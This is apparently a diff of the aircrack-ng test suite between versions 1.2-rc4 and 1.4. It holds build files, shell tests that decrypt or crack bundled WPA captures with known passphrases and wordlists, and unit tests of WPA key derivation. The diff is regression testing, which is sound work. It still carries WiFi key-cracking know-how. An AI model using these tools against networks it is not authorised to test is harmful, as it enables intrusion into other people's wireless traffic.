+			 test-aircrack-ng-0007.sh \
+			 test-aircrack-ng-0008.sh \
+			 test-aircrack-ng-0009.sh \
+			 test-aircrack-ng-0010.sh \
+			 test-aircrack-ng-0011.sh \
+			 test-aircrack-ng-0012.sh \
+			 test-aircrack-ng-0013.sh \
+			 test-aircrack-ng-0014.sh \
+			 test-aircrack-ng-0015.sh \
+			 test-aircrack-ng-0016.sh \
+			 test-aircrack-ng-0017.sh \
+			 test-airdecap-ng-0001.sh \
+			 test-airdecap-ng-0002.sh \
+			 test-airdecap-ng-0003.sh \
+			 test-airdecap-ng-0004.sh \
+			 test-wpaclean-0001.sh \
+			 test-wpaclean-0002.sh \
+			 wpaclean_crash.pcap \
+             wep.open.system.authentication.cap \
+             wpa2-psk-linksys.cap \
+             test-hex_string_to_array.c \
+             wpa.cap \
+             test.ivs \
+             StayAlfred.hccapx \
+             test1.pcap \
+             test-pmkid.pcap \
+             wpa-psk-linksys.cap \
+             wpa2.eapol.cap \
+             wps2.0.pcap \
+             verify_inject.py \
+             replay.py \
+             password.lst \
+             password-2.lst \
+             password-3.lst \
+             n-02.cap \
+             wep.shared.key.authentication.cap \
+             wep_64_ptw.cap \
+             pingreply.c \
+             Chinese-SSID-Name.pcap \
+             passphrases.db \
+			 test-airdecap-ng.sh \
+			 test-airolib-sqlite.sh
+
+if HAVE_SQLITE3
+EXTRA_DIST += test-airolib-ng-0001.sh
+endif
+
+
+@CODE_COVERAGE_RULES@
+
+@VALGRIND_CHECK_RULES@

aircrack-ng-1.4.tar.gz/test/StayAlfred.hccapx Added

aircrack-ng-1.4.tar.gz/test/cryptounittest/Makefile.am Added

@@ -0,0 +1,138 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(CRYPTO_INCLUDES)
+
+LIBAC	= ../../src/libaclib.la
+LIBAC_LIBS = -L../../src -laclib
+
+LIBAIRCRACK_CRYPTO = ../../src/aircrack-crypto/libaircrack-crypto.la
+LIBAIRCRACK_CRYPTO_LIBS = -L../../src/aircrack-crypto -laircrack-crypto
+
+LIBAIRCRACK_UTIL	= ../../src/aircrack-util/libaircrack-util.la
+LIBAIRCRACK_UTIL_LIBS = -L../../src/aircrack-util -laircrack-util
+
+SRCS_TEST_EWEP  = test-encrypt-wep.c
+SRCS_TEST_CPMK  = test-calc-pmk.c
+SRCS_TEST_CMIC  = test-calc-mic.c
+SRCS_TEST_CPTK  = test-calc-ptk.c
+SRCS_TEST_DCMP  = test-decrypt-ccmp.c
+SRCS_TEST_ECMP  = test-encrypt-ccmp.c
+
+test_encrypt_wep_SOURCES = $(SRCS_TEST_EWEP)
+test_encrypt_wep_CFLAGS  = $(AM_CPPFLAGS) \
+						   $(PTHREAD_CFLAGS) \
+						   $(CRYPTO_CFLAGS)
+test_encrypt_wep_LDADD   = $(LIBAC_LIBS) \
+						   $(PTHREAD_LIBS) \
+						   $(CRYPTO_LIBS) \
+						   $(ZLIB_LIBS)
+
+test_calc_pmk_SOURCES = $(SRCS_TEST_CPMK) \
+						$(LIBAIRCRACK_UTIL) \
+						$(LIBAIRCRACK_CRYPTO)
+test_calc_pmk_CFLAGS  = $(AM_CPPFLAGS) \
+						$(PTHREAD_CFLAGS) \
+						$(CRYPTO_CFLAGS)
+test_calc_pmk_LDADD   = $(LIBAIRCRACK_UTIL_LIBS) \
+						$(LIBAIRCRACK_CRYPTO_LIBS) \
+						$(LIBAC_LIBS) \
+						$(PTHREAD_LIBS) \
+						$(CRYPTO_LIBS) \
+						$(ZLIB_LIBS)
+
+test_calc_mic_SOURCES = $(SRCS_TEST_CMIC)
+test_calc_mic_CFLAGS  = $(AM_CPPFLAGS) \
+						$(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS)
+test_calc_mic_LDADD   = $(LIBAC_LIBS) \
+						$(PTHREAD_LIBS) \
+						$(CRYPTO_LIBS) \
+						$(ZLIB_LIBS)
+
+test_calc_ptk_SOURCES = $(SRCS_TEST_CPTK)
+test_calc_ptk_CFLAGS  = $(AM_CPPFLAGS) \
+						$(PTHREAD_CFLAGS) \
+						$(CRYPTO_CFLAGS)
+test_calc_ptk_LDADD   = $(LIBAC_LIBS) \
+						$(PTHREAD_LIBS) \
+						$(CRYPTO_LIBS) \
+						$(ZLIB_LIBS)
+
+test_encrypt_ccmp_SOURCES = $(SRCS_TEST_ECMP)
+test_encrypt_ccmp_CFLAGS  = $(AM_CPPFLAGS) \
+							$(PTHREAD_CFLAGS) \
+							$(CRYPTO_CFLAGS)
+test_encrypt_ccmp_LDADD   = $(LIBAC_LIBS) \
+							$(PTHREAD_LIBS) \
+							$(CRYPTO_LIBS) \
+							$(ZLIB_LIBS)
+
+test_decrypt_ccmp_SOURCES = $(SRCS_TEST_DCMP)
+test_decrypt_ccmp_CFLAGS  = $(AM_CPPFLAGS) \
+							$(PTHREAD_CFLAGS) \
+							$(CRYPTO_CFLAGS)
+test_decrypt_ccmp_LDADD   = $(LIBAC_LIBS) \
+							$(PTHREAD_LIBS) \
+							$(CRYPTO_LIBS) \
+							$(ZLIB_LIBS)
+
+
+TESTS           = test-encrypt-wep \
+                  test-calc-pmk \
+                  test-calc-mic \
+                  test-calc-ptk \
+                  test-encrypt-ccmp \
+                  test-decrypt-ccmp
+
+check_PROGRAMS	= test-encrypt-wep \
+                  test-calc-pmk \
+                  test-calc-mic \
+                  test-calc-ptk \
+                  test-encrypt-ccmp \
+                  test-decrypt-ccmp
+
+EXTRA_DIST = tests.h
+
+
+@CODE_COVERAGE_RULES@
+
+@VALGRIND_CHECK_RULES@

aircrack-ng-1.2-rc4.tar.gz/test/cryptounittest/test-calc-mic.c -> aircrack-ng-1.4.tar.gz/test/cryptounittest/test-calc-mic.c Changed

aircrack-ng-1.2-rc4.tar.gz/test/cryptounittest/tests.h -> aircrack-ng-1.4.tar.gz/test/cryptounittest/tests.h Changed

aircrack-ng-1.4.tar.gz/test/n-02.cap Added

aircrack-ng-1.4.tar.gz/test/password-2.lst Added

aircrack-ng-1.4.tar.gz/test/password-3.lst Added

aircrack-ng-1.2-rc4.tar.gz/test/replay.py -> aircrack-ng-1.4.tar.gz/test/replay.py Changed

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0001.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0002.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0003.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0004.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0005.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0006.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0007.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0008.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0009.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0010.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0011.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0012.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0013.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0014.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0015.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0016.sh Added

aircrack-ng-1.4.tar.gz/test/test-aircrack-ng-0017.sh Added

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0001.sh Added

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0002.sh Added

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0003.sh Added

aircrack-ng-1.4.tar.gz/test/test-airdecap-ng-0004.sh Added

aircrack-ng-1.2-rc4.tar.gz/test/test-airdecap-ng.sh -> aircrack-ng-1.4.tar.gz/test/test-airdecap-ng.sh Changed

@@ -6,7 +6,11 @@
 if [ "$(uname -s)" = 'OpenBSD' ]; then
 	tmpdir="$(mktemp -d -t acng.XXXXXX)"
 else
+    if test -f /etc/alpine-release; then
+        tmpdir="$(mktemp -d -t acng.XXXXXX)"
+    else
 	tmpdir="$(mktemp -d -t acng.XXXX)"
+    fi
 fi
 
 compute_sha1() {
@@ -27,11 +31,11 @@
 if [ "$(uname -s)" = 'OpenBSD' ]; then
 	trap "rm -rf "${tmpdir}"" EXIT
 else
-	trap "rm -fr "${tmpdir}"" SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT
+	trap "rm -fr "${tmpdir}"" INT QUIT SEGV PIPE ALRM TERM EXIT
 fi
 # Test1
 cp -f "${TESTDIR}/wpa.cap" "${tmpdir}"
-./airdecap-ng -e test -p biscotte "${tmpdir}/wpa.cap" | \
+"${top_builddir}/src/airdecap-ng${EXEEXT}" -e test -p biscotte "${tmpdir}/wpa.cap" | \
         grep "Number of decrypted WPA  packets         2" || exit 1
 [ $? -ne 0 ] && exit 1
 result=$(compute_sha1 "${tmpdir}/wpa-dec.cap")
@@ -43,7 +47,7 @@
 
 # Test 2
 cp -f "${TESTDIR}/wpa-psk-linksys.cap" "${tmpdir}"
-./airdecap-ng -e linksys -p dictionary "${tmpdir}/wpa-psk-linksys.cap" | \
+"${top_builddir}/src/airdecap-ng${EXEEXT}" -e linksys -p dictionary "${tmpdir}/wpa-psk-linksys.cap" | \
         grep "Number of decrypted WPA  packets        53"
 [ $? -ne 0 ] && exit 1
 result=$(compute_sha1 "${tmpdir}/wpa-psk-linksys-dec.cap")
@@ -55,7 +59,7 @@
 
 # Test 3
 cp -f "${TESTDIR}/wpa2-psk-linksys.cap" "${tmpdir}"
-./airdecap-ng -e linksys -p dictionary "${tmpdir}/wpa2-psk-linksys.cap" | \
+"${top_builddir}/src/airdecap-ng${EXEEXT}" -e linksys -p dictionary "${tmpdir}/wpa2-psk-linksys.cap" | \
         grep "Number of decrypted WPA  packets        25"
 [ $? -ne 0 ] && exit 1
 result=$(compute_sha1 "${tmpdir}/wpa2-psk-linksys-dec.cap")

aircrack-ng-1.4.tar.gz/test/test-airolib-ng-0001.sh Added

aircrack-ng-1.2-rc4.tar.gz/test/test-airolib-sqlite.sh -> aircrack-ng-1.4.tar.gz/test/test-airolib-sqlite.sh Changed

@@ -3,20 +3,24 @@
 # Carlos Alberto Lopez Perez <clopez@igalia.com>
 #
 TESTDIR="$(dirname $0)"
-tmpfile="$(mktemp -u -t acng.XXXX)"
+if test -f /etc/alpine-release; then
+    tmpfile="$(mktemp -u -t acng.XXXXXX)"
+else
+    tmpfile="$(mktemp -u -t acng.XXXX)"
+fi
 # Clean on exit
-trap "rm -fr "${tmpdir}"" SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT
+trap "rm -fr "${tmpdir}"" INT QUIT SEGV PIPE ALRM TERM EXIT
 
-echo Harkonen | ./airolib-ng "${tmpfile}" --import essid -
+echo Harkonen | "${top_builddir}/src/airolib-ng${EXEEXT}" "${tmpfile}" --import essid -
 [ $? -ne 0 ] && exit 1
 
-./airolib-ng "${tmpfile}" --import passwd "${TESTDIR}/password.lst"
+"${top_builddir}/src/airolib-ng${EXEEXT}" "${tmpfile}" --import passwd "${TESTDIR}/password.lst"
 [ $? -ne 0 ] && exit 1
 
-./airolib-ng "${tmpfile}" --batch | grep "Computed 233 PMK"
+"${top_builddir}/src/airolib-ng${EXEEXT}" "${tmpfile}" --batch | grep "Computed 233 PMK"
 [ $? -ne 0 ] && exit 1
 
-./aircrack-ng -q -e Harkonen  -r "${tmpfile}"  "${TESTDIR}/wpa2.eapol.cap" | grep 'KEY FOUND! \[ 12345678 \]'
+"${top_builddir}/src//aircrack-ng${EXEEXT}" -q -e Harkonen  -r "${tmpfile}"  "${TESTDIR}/wpa2.eapol.cap" | grep 'KEY FOUND! \[ 12345678 \]'
 [ $? -ne 0 ] && exit 1
 
 exit 0

aircrack-ng-1.4.tar.gz/test/test-env.sh.in Added

aircrack-ng-1.2-rc4.tar.gz/test/test-hex_string_to_array.c -> aircrack-ng-1.4.tar.gz/test/test-hex_string_to_array.c Changed

aircrack-ng-1.4.tar.gz/test/test-pmkid.pcap Added

aircrack-ng-1.4.tar.gz/test/test-wpaclean-0001.sh Added

aircrack-ng-1.4.tar.gz/test/test-wpaclean-0002.sh Added

aircrack-ng-1.4.tar.gz/test/test.ivs Added

aircrack-ng-1.4.tar.gz/test/test1.pcap Added

aircrack-ng-1.4.tar.gz/test/unit Added

aircrack-ng-1.4.tar.gz/test/unit/Makefile.am Added

@@ -0,0 +1,123 @@
+# Aircrack-ng
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(CRYPTO_INCLUDES)
+
+AM_TESTS_ENVIRONMENT= \
+	TEST_SRCDIR="$(abs_srcdir)" 		\
+	TEST_BUILDDIR="$(abs_builddir)" 	\
+	CMOCKA_MESSAGE_OUTPUT=TAP
+
+LIBAIRCRACK_CRYPTO_PATH = $(abs_top_builddir)/src/aircrack-crypto/
+
+LIBAC	= ../../src/libaclib.la
+LIBAC_LIBS = -L../../src -laclib
+
+LIBAIRCRACK_CRYPTO = ../../src/aircrack-crypto/libaircrack-crypto.la
+LIBAIRCRACK_CRYPTO_LIBS = -L../../src/aircrack-crypto -laircrack-crypto
+
+LIBAIRCRACK_UTIL	= ../../src/aircrack-util/libaircrack-util.la
+LIBAIRCRACK_UTIL_LIBS = -L../../src/aircrack-util -laircrack-util
+
+COMMON_CFLAGS = $(PTHREAD_CFLAGS) \
+				$(CRYPTO_CFLAGS) \
+				$(ZLIB_CFLAGS) \
+				$(CMOCKA_CFLAGS)
+COMMON_LDADD  = $(PTHREAD_LIBS) \
+			    $(CRYPTO_LIBS) \
+			    $(ZLIB_LIBS) \
+			    $(CMOCKA_LIBS)
+
+test_calc_one_pmk_SOURCES = test-calc-one-pmk.c \
+							$(LIBAIRCRACK_CRYPTO)
+test_calc_one_pmk_CFLAGS  = $(COMMON_CFLAGS)
+test_calc_one_pmk_LDFLAGS = -rdynamic
+test_calc_one_pmk_LDADD   = $(LIBAIRCRACK_CRYPTO_LIBS) \
+						    $(COMMON_LDADD)
+
+test_string_has_suffix_SOURCES = test-string-has-suffix.c \
+								 $(LIBAIRCRACK_UTIL)
+test_string_has_suffix_CFLAGS  = $(COMMON_CFLAGS)
+test_string_has_suffix_LDFLAGS = -rdynamic
+test_string_has_suffix_LDADD   = $(LIBAIRCRACK_UTIL_LIBS) $(COMMON_LDADD)
+
+test_wpapsk_SOURCES = test-wpapsk.c \
+					  $(LIBAIRCRACK_UTIL)
+test_wpapsk_CFLAGS  = "-DLIBAIRCRACK_CRYPTO_PATH=\"$(LIBAIRCRACK_CRYPTO_PATH)\"" \
+					  "-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
+					  "-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
+					  "-DLIBDIR=\"$(libdir)\"" \
+					  $(COMMON_CFLAGS)
+test_wpapsk_LDFLAGS = -rdynamic
+test_wpapsk_LDADD   = $(LIBAIRCRACK_CRYPTO_LIBS) \
+					  $(LIBAIRCRACK_UTIL_LIBS) \
+					  $(COMMON_LDADD)
+
+test_wpapsk_cmac_SOURCES = test-wpapsk-cmac.c \
+						   $(LIBAIRCRACK_UTIL)
+test_wpapsk_cmac_CFLAGS = "-DLIBAIRCRACK_CRYPTO_PATH=\"$(LIBAIRCRACK_CRYPTO_PATH)\"" \
+						  "-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
+						  "-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
+						  "-DLIBDIR=\"$(libdir)\"" \
+						  $(COMMON_CFLAGS)
+test_wpapsk_cmac_LDFLAGS = -rdynamic
+test_wpapsk_cmac_LDADD   = $(LIBAIRCRACK_UTIL_LIBS) \
+						   $(COMMON_LDADD)
+
+TESTS = test-calc-one-pmk test-string-has-suffix
+
+if !STATIC_BUILD
+TESTS += test-wpapsk
+TESTS += test-wpapsk-cmac
+endif
+
+check_PROGRAMS = test-calc-one-pmk test-string-has-suffix
+
+if !STATIC_BUILD
+check_PROGRAMS += test-wpapsk
+check_PROGRAMS += test-wpapsk-cmac
+endif
+
+
+@CODE_COVERAGE_RULES@
+
+@VALGRIND_CHECK_RULES@

aircrack-ng-1.4.tar.gz/test/unit/test-calc-one-pmk.c Added

@@ -0,0 +1,68 @@
+#include <stdarg.h>
+#include <stddef.h>
+#include <setjmp.h>
+#include <cmocka.h>
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "aircrack-crypto/crypto_engine.h"
+
+static void test_calc_one_pmk(void **state)
+{
+	uint8_t essid[] = "linksys";
+	uint8_t key[] = "password";
+	uint8_t pmk[40] = {0};
+	uint8_t expected[40] = {0xec, 0xc9, 0x99, 0x1e, 0x3c, 0xfb, 0x1b, 0x11,
+							0x7b, 0xdb, 0xbd, 0x0,  0xde, 0xb4, 0x7,  0xf0,
+							0x23, 0x29, 0x44, 0xb5, 0x68, 0x21, 0x64, 0x7e,
+							0x23, 0x49, 0x13, 0x9d, 0x2,  0xfd, 0x2b, 0xfb,
+							0x31, 0x83, 0x94, 0x12, 0x36, 0x89, 0x8e, 0xf7};
+
+	memset(pmk, 0, sizeof(pmk));
+	ac_crypto_engine_calc_one_pmk(key, essid, strlen((char*) essid), pmk);
+
+	assert_int_equal(sizeof(pmk), sizeof(expected));
+	assert_memory_equal(pmk, expected, sizeof(expected));
+}
+
+static void test_calc_pmk(void **state)
+{
+	uint8_t essid[33] = "linksys";
+	wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED];
+	ac_crypto_engine_t engine;
+
+	memset(&engine, 0, sizeof(engine));
+	ac_crypto_engine_init(&engine);
+	ac_crypto_engine_set_essid(&engine, &essid[0]);
+	ac_crypto_engine_thread_init(&engine, 1);
+
+	memset(key, 0, sizeof(key));
+
+	strcpy((char *) (key[0].v), "password");
+	key[0].length = 8;
+
+	ac_crypto_engine_calc_pmk(&engine, key, 1, 1);
+
+	uint8_t expected[40] = {0xec, 0xc9, 0x99, 0x1e, 0x3c, 0xfb, 0x1b, 0x11,
+							0x7b, 0xdb, 0xbd, 0x0,  0xde, 0xb4, 0x7,  0xf0,
+							0x23, 0x29, 0x44, 0xb5, 0x68, 0x21, 0x64, 0x7e,
+							0x23, 0x49, 0x13, 0x9d, 0x2,  0xfd, 0x2b, 0xfb,
+							0x31, 0x83, 0x94, 0x12, 0x36, 0x89, 0x8e, 0xf7};
+
+	assert_memory_equal(
+		(unsigned char*) (engine.thread_data[1]->pmk), expected, sizeof(expected));
+
+	ac_crypto_engine_thread_destroy(&engine, 1);
+	ac_crypto_engine_destroy(&engine);
+}
+
+int main(int argc, char *argv[])
+{
+	const struct CMUnitTest tests[] = {
+		cmocka_unit_test(test_calc_one_pmk),
+		cmocka_unit_test(test_calc_pmk),
+	};
+	return cmocka_run_group_tests(tests, NULL, NULL);
+}

aircrack-ng-1.4.tar.gz/test/unit/test-string-has-suffix.c Added

@@ -0,0 +1,58 @@
+#include <stdarg.h>
+#include <stddef.h>
+#include <setjmp.h>
+#include <cmocka.h>
+
+#include "aircrack-util/common.h"
+
+static void test_string_has_suffix(void **state)
+{
+	assert_true( string_has_suffix("", ""));
+	assert_true(!string_has_suffix("", "a"));
+	assert_true( string_has_suffix("a", ""));
+	assert_true( string_has_suffix("a", "a"));
+	assert_true(!string_has_suffix("a", "b"));
+	assert_true(!string_has_suffix("a", "ba"));
+	assert_true( string_has_suffix("abc", "abc"));
+	assert_true(!string_has_suffix("abc", "eeabc"));
+	assert_true(!string_has_suffix("abc", "xbc"));
+	assert_true(!string_has_suffix("abc", "axc"));
+	assert_true(!string_has_suffix("abcdef", "abcxef"));
+	assert_true(!string_has_suffix("abcdef", "abxxef"));
+	assert_true( string_has_suffix("b.a", ""));
+	assert_true( string_has_suffix("b.a", "a"));
+	assert_true( string_has_suffix("b.a", ".a"));
+	assert_true( string_has_suffix("b.a", "b.a"));
+	assert_true(!string_has_suffix("b.a", "x"));
+	assert_true( string_has_suffix("abc.foo.bar", ""));
+	assert_true( string_has_suffix("abc.foo.bar", "r"));
+	assert_true( string_has_suffix("abc.foo.bar", "ar"));
+	assert_true( string_has_suffix("abc.foo.bar", "bar"));
+	assert_true(!string_has_suffix("abc.foo.bar", "xar"));
+	assert_true( string_has_suffix("abc.foo.bar", ".bar"));
+	assert_true( string_has_suffix("abc.foo.bar", "foo.bar"));
+	assert_true(!string_has_suffix("abc.foo.bar", "xoo.bar"));
+	assert_true(!string_has_suffix("abc.foo.bar", "foo.ba"));
+	assert_true( string_has_suffix("abc.foo.bar", ".foo.bar"));
+	assert_true( string_has_suffix("abc.foo.bar", "c.foo.bar"));
+	assert_true( string_has_suffix("abc.foo.bar", "abc.foo.bar"));
+	assert_true(!string_has_suffix("abc.foo.bar", "xabc.foo.bar"));
+	assert_true(!string_has_suffix("abc.foo.bar", "ac.foo.bar"));
+	assert_true( string_has_suffix("abc.foo.foo", ".foo"));
+	assert_true( string_has_suffix("abc.foo.foo", ".foo.foo"));
+	assert_true( string_has_suffix("abcdefgh", ""));
+	assert_true(!string_has_suffix("abcdefgh", " "));
+	assert_true( string_has_suffix("abcdefgh", "h"));
+	assert_true( string_has_suffix("abcdefgh", "gh"));
+	assert_true( string_has_suffix("abcdefgh", "fgh"));
+	assert_true(!string_has_suffix("abcdefgh", "agh"));
+	assert_true( string_has_suffix("abcdefgh", "abcdefgh"));
+}
+
+int main(int argc, char *argv[])
+{
+	const struct CMUnitTest tests[] = {
+		cmocka_unit_test(test_string_has_suffix),
+	};
+	return cmocka_run_group_tests(tests, NULL, NULL);
+}

aircrack-ng-1.4.tar.gz/test/unit/test-wpapsk-cmac.c Added

@@ -0,0 +1,288 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#include <stdarg.h>
+#include <stddef.h>
+#include <setjmp.h>
+#include <cmocka.h>
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+
+#ifdef USE_GCRYPT
+#include "gcrypt-openssl-wrapper.h"
+#include "sha1-git.h"
+#else
+#include <openssl/hmac.h>
+#include <openssl/sha.h>
+#endif
+
+#include "aircrack-util/common.h"
+#include "aircrack-util/trampoline.h"
+#include "aircrack-crypto/crypto_engine.h"
+#include "aircrack-util/crypto_engine_loader.h"
+
+/*
+ * We must force linking to one of the support crypto libraries; however,
+ * because they are linked with our binary and not the crypto engine
+ * DSOs, at run-time we fail to run due to missing symbols.
+ *
+ * The "proper" way to handle this situation is to use --no-as-needed
+ * linker flag, specifying the libraries to always link against.
+ *
+ * Then there is Autoconf... It does not support the above flag.
+ *
+ * So, we force a bit of hacks to ensure we do link against it.
+ */
+#ifdef USE_GCRYPT
+void *keep_libgcrypt_ = &gcry_md_open;
+#else
+void *keep_libcrypto_ = &HMAC;
+#endif
+
+void perform_unit_testing(void **state)
+{
+	wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED];
+	uint8_t mic[8][20];
+	uint8_t expected_mic[20] =
+		"\x2e\x13\xc4\x0c\xa1\xc2\xe4\xe2\x03\x7f\x99\xa2\xda\x18\xa4\x6b";
+	uint8_t stmac[6] = "\x2c\xf0\xa2\xdd\xbc\xd0";
+	uint8_t snonce[32] =
+		"\x64\x67\x23\x3e\x73\x07\x67\xc3\x3e\x1d\xf8\x75\xc3\xad\x0e\xb5"
+		"\x8a\x51\xad\x70\x4a\x3f\xae\x06\xb8\x18\xc0\xc5\xfc\xeb\xf3\xaf";
+	uint8_t anonce[32] =
+		"\x02\x18\xc7\xb6\x4e\xce\xf4\x0c\x4f\x15\x91\x5f\xbc\xeb\x19\xc8"
+		"\xd6\x26\x08\x38\x7e\xb6\xb9\x86\xd9\x59\x9a\x8b\xd7\x0d\xc8\x5d";
+	uint8_t eapol[256] =
+		"\x02\x03\x00\x75\x02\x01\x0B\x00\x10\x00\x00\x00\x00\x00\x00\x00"
+		"\x03\x64\x67\x23\x3E\x73\x07\x67\xC3\x3E\x1D\xF8\x75\xC3\xAD\x0E"
+		"\xB5\x8A\x51\xAD\x70\x4A\x3F\xAE\x06\xB8\x18\xC0\xC5\xFC\xEB\xF3"
+		"\xAF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x16\x30\x14\x01\x00\x00\x0F\xAC\x04\x01\x00\x00\x0F\xAC"
+		"\x04\x01\x00\x00\x0F\xAC\x06\x8C\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+	uint32_t eapol_size = 121;
+	ac_crypto_engine_t engine;
+	uint8_t bssid[6] = "\xb0\xb9\x8a\x56\x8d\xea";
+	uint8_t essid[33] = "Neheb";
+	int nparallel = dso_ac_crypto_engine_simd_width();
+
+	memset(&engine, 0, sizeof(engine));
+	dso_ac_crypto_engine_init(&engine);
+	dso_ac_crypto_engine_set_essid(&engine, &essid[0]);
+	dso_ac_crypto_engine_thread_init(&engine, 1);
+	dso_ac_crypto_engine_calc_pke(&engine, bssid, stmac, anonce, snonce, 1);
+
